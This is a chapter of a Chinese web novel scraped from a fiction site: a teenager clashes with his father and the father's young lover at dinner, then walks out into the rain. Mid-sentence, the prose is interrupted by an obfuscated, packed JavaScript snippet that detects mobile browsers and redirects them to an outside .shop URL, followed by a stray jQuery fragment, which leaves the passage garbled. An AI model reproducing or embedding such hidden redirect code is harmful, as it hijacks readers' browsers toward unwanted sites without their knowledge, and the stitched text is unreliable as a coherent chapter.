文趣网 > 其他小说 > 夏风渡 > 18. 情书
    屋子里空洞且安静,暖黄的灯光也掩盖不住那快要凝固的冷空气。外面好像又下雨了,这里的窗户比出租屋那儿要结实的多,雨水打在玻璃上的声音淅淅沥沥,风很大,却只能听见轻微的呼呼声。

    好像之前母亲醉酒的那个夜晚。

    陆骁楼下楼梯,一楼的餐桌前,满满当当地摆上了饭菜,桌布一尘不染,两端的花瓶内插着当季的鲜花,头顶的大吊灯,此刻把桌上的一切都照得光鲜亮丽。

    现在,他才意识到,陆垂星所说的客人,并不是自己,而是那个“小夏”。

    门口花园外突然亮起了车灯,司机打着伞走出来,快速走过去,打开后座的车门。后面出来一个少年,笑容满面,刘海肆意的落在额前,但很清爽,没有挡住眼睛,看起来二十多岁,肯定没过三十。

    他兴奋地跑过来,司机奋力紧跟他,帮他打好伞。陆垂星也撑着伞走过去迎接。

    “小陆哥哥!”一阵清脆的叫唤,打破了他们持续到现在的安静。

    陆骁无法想象,这声叫喊是那个少年对的陆垂星喊的。陆垂星虽然保养的不错,且随着年纪上来更显他骨相的精致,但四十多岁的年纪,终究盖不住那脸上的眼角纹和法令纹。二十几岁的人冲四十几岁的人喊哥哥?陆垂星都能当他爹了。

    在心里骂了一顿回来,陆骁发现陆垂星好像是他爹。

    两人并肩走进来,暧昧的空气中都好像有粉红泡泡,有脑子的人都能看出来他们是什么关系。

    陆骁受不了这种“老牛啃嫩草”的恋爱关系,等他们坐下来,就开始埋头夹菜吃。

    “唉,这孩子怎么这么没大没小?不知道要等长辈动筷子了才能吃吗?”陆垂星拿筷子轻轻敲了下碗,坐着眉头微微叹气。

    “小孩子,没必要计较。”“小夏”贴心的把菜夹到陆垂星碗里,另一只手放到他后背小心安抚。又转过头,对着无视他们的陆骁说:“长这么高了,想当年我也是你这么大的。”

    陆骁停下筷子,看着面前的肉汤上轻微服这些油脂,白白的飘在上面。其实并不明显,但他觉得很恶心。你是说一个十六七岁的少年,应该还是在上学的年纪,找了个比自己大二十岁的男人。况且那个人有老婆,还去出招怂恿他们离婚。

    明明每个字都很正常,但放在一起却成了比AI还阴的东西。果然说AI代替不了人类呢。

    这是一个禁毒的国家的人能做出的事吗?

    陆骁被冲击了三观,愣在饭桌前。直到“小夏”开口:“你不吃吗?尝尝这个,王婶拌的生菜特别香。”他说着就要帮陆骁夹菜。

    陆骁用手推开,沉着脸说:“我吃饱了。”

    他站起来,椅子和地面发出响亮的摩擦声,听的人心里揪紧。转身走到二楼,上去,躲到房间,他们反锁。

    走上去时,后背只有陆垂星很随意的一句话:“别管他。”

    房间里莫名的感到闷,陆骁走过去把窗打开,沁凉的空气扑面而来,下面摆着的那盆蔷薇,在雨中颤抖,雨水打掉了他的大部分花瓣。

    蔷薇明明是初夏才开的花,他不明白现在的秋天,他怎么还会脆弱的开放着。

    很累,陆骁没有精力把这盘东西搬进来,任凭他被风雨摧残。

    楼下很安静,黑乎乎的一片,连半个人影都没有。之前住在出租屋的时候,晚饭这个点天还没有完全黑,夕阳的余晖照在马路和来往的行人上,他们有的是上下班,有的是来老城区菜市场买菜,朴素平淡却富有生活气息,给人一种悠闲放松的状态。

    炊烟滚滚,无忧无虑。陆骁有点想回去了,难怪古人爱隐居呢。

    房门被敲响,听起来有点急。是那个清脆的声音:“小骁,我们出来聊聊好吗?说不定有些矛盾就是缺少沟通。”他顿了顿,咽了口口水:“不聊也可以,你出来吃点东西吧,吃那么少会饿的。”

    不知道他是真的在关心自己,还是假意讨好。陆骁都坐在房间里,没有理会他一个字。

    屋子里安静的很,他甚至连自己的心跳都听不太清,只有墙上钟表的“滴答”声。

    “小夏”耐心挺多,不善罢甘休地说:“我知道是因为我和你爸的事情……”

    “知道还说出来!”陆骁毫不留情地打断。

    突然间传来两声钥匙甩动的声音,随即钥匙插进锁孔,旋转两圈,完全不拖泥带水。陆骁没反应过来,反锁着的门就被陆垂星直接打开,他一脸怨气,感觉耐心告罄:“你怎么跟人说话的?再这样子把你丢出去。”

    陆骁根本没料到陆垂星可以拿钥匙从外面打开,顿时有些尴尬,但他只能继续装着生气,假装毫不在意地说:“随便。”

    当然,陆垂星不会这么做的。在高档小区,一户人家闹得鸡飞狗跳,除了会被邻居举报扰民,还会被大家看不起,这么要面子的人,不会做出那样的事。

    要面子?要面子的人又怎能做出这样龌龊之事。

    “小夏”突然看见了房间里的什么东西,跳起来喊着:“哎!当时我给你写的,怎么会在他那!”陆骁顺着他的视线望去,是那个粉色的信封,是那份罪恶的情书。

    陆骁站起来,走过去。把那粉色的纸张,重重地踩在脚底下。

    陆垂星也不着急过来阻止,只是平淡地看着他的亲儿子做完这一切,终于他开口,嘴角微微浮现笑意:“这么多年她还不丢,估计心里恨得痒痒的吧。”

    在场的所有人都心知肚明,这个“她”是陆垂星的前妻,是陆骁的母亲,是躺在医院里用呼吸机维持生命的林素。

    一切都这么荒唐,却是他必须面对的现实。

    最终,在那场无声的对峙下,陆骁率先推开恩爱的二位,走出家门。王婶想帮忙阻拦,手臂刚伸出去却又触电似的收回,只能静静的在一边看着这场闹剧。

    雨确实有点大,但不影响视线。陆骁戴上外套帽子,埋头走进雨里,雨水打在他单薄的衣服上,像小石子一样砸在身上,不痛,冰冰的,麻麻的,但很多,一股脑的全往他身上砸。就像这几个星期发生的事,多到让他麻木,反应不过来。

    喷泉处放着音乐,水柱随着音调高低起伏,水花轻轻溅起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547997|204233||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来。放的是《大眠》,陆骁记得母亲很喜欢这个歌手的歌,拿着斥“巨资”买的专辑,在老旧的CD机上播放,时不时就拿抹布擦擦上面的指纹。

    是他曾经都喜欢的歌呀,就因为那个晚上,林素再没有拿出来听过。

    溅起的水花突然变大,歌曲来到第二段高潮部分,是他以前最喜欢听的一段,没想到多年后,这句歌词会映照到自己身上。

    “若不失去理智,爱情要从何开始。

    傻傻的骗子,和骗人的傻子,才可能一生一世。”

    喷泉旁走过一个少年,清瘦,白,比自己矮,陆骁和前面几次一样,想穿过去叫他名字,后桌的背影再熟悉不过了,他笃定自己不会认错的。

    走近才发现,那是一张完全陌生的脸。

    “李……”话还停留在在嘴边,幸好没说出来,认错人真的是一件很尴尬的事。

    “有什么事吗?”

    “没有……”陆骁低下头,自嘲的笑笑。脚下的砖块排列方式和学校的很像,但这里的,要被打磨得平整的多,砖块间的缝隙中也没有杂草。

    一丝不苟,但缺少生机与活力。

    这种十几岁的人,明明嘴上说着不想去学校,但真正离开了,又会在那怀念学校的一草一木,又会想起下课时打闹的那种悠闲,才会自己护着那张清纯可爱的脸。

    无忧无虑,无拘无束的青春回忆起来总是酸涩但回甘。

    两侧的月季被精心打理,但好歹也是种在室外,时不时会有远方的飞鸟或是拿滚动的风带来种子,在这里落下,生根发芽。大部分杂草估计已经被园艺工人铲除,只有零星几颗还孤单的站在中间。

    陆骁记起之前和李景行在教学楼顶放飞的那棵小草,也是这样的渺小,颤抖地生长在缝隙,顽强的冒出头。

    但这草看着特别可怜,陆骁比李景行更加圣母心泛滥,他不忍心把小草折下来,在空中放飞,它并没有得到自由,只是随着风,在无人知晓的角落慢慢枯萎。

    要是现在李景行在就好了,能陪自己聊聊天。

    这是不可能的,后桌不可能每次都在陆骁想他的时候突然出现,况且住在这种小区的人大多数都把孩子送往不用中高考的国际学校,他要是当初跟陆垂星走了,估计也无法收获这样的小后桌吧。

    缘分是巧妙的,该见的人终究会在一起。

    今晚的雨越下越大了,好像要把这世上的肮脏全部冲刷一遍。闪电比雷声先来,刺眼的光一闪而过,要给天空劈出来条缝似的,头顶闷闷的传来响声。陆骁暗叫不妙,只能硬着头皮走回屋子。

    陆垂星已经不见踪影,一楼的沙发上坐着“小夏”,悠闲的喝着饮料看电视。他不说话了,陆骁只能率先开口,他说不出自己淋湿了要换衣服,只能嘲讽他一句:“雷雨天还看电视。”

    “没事。”

    “?”陆骁脱下湿淋淋的外套:“这是你说没事就没事的吗?你谁啊,雷公那?”

    “嗯。”“小夏”被电视里的内容吸引,目不转睛地和他对话。

    陆骁“……”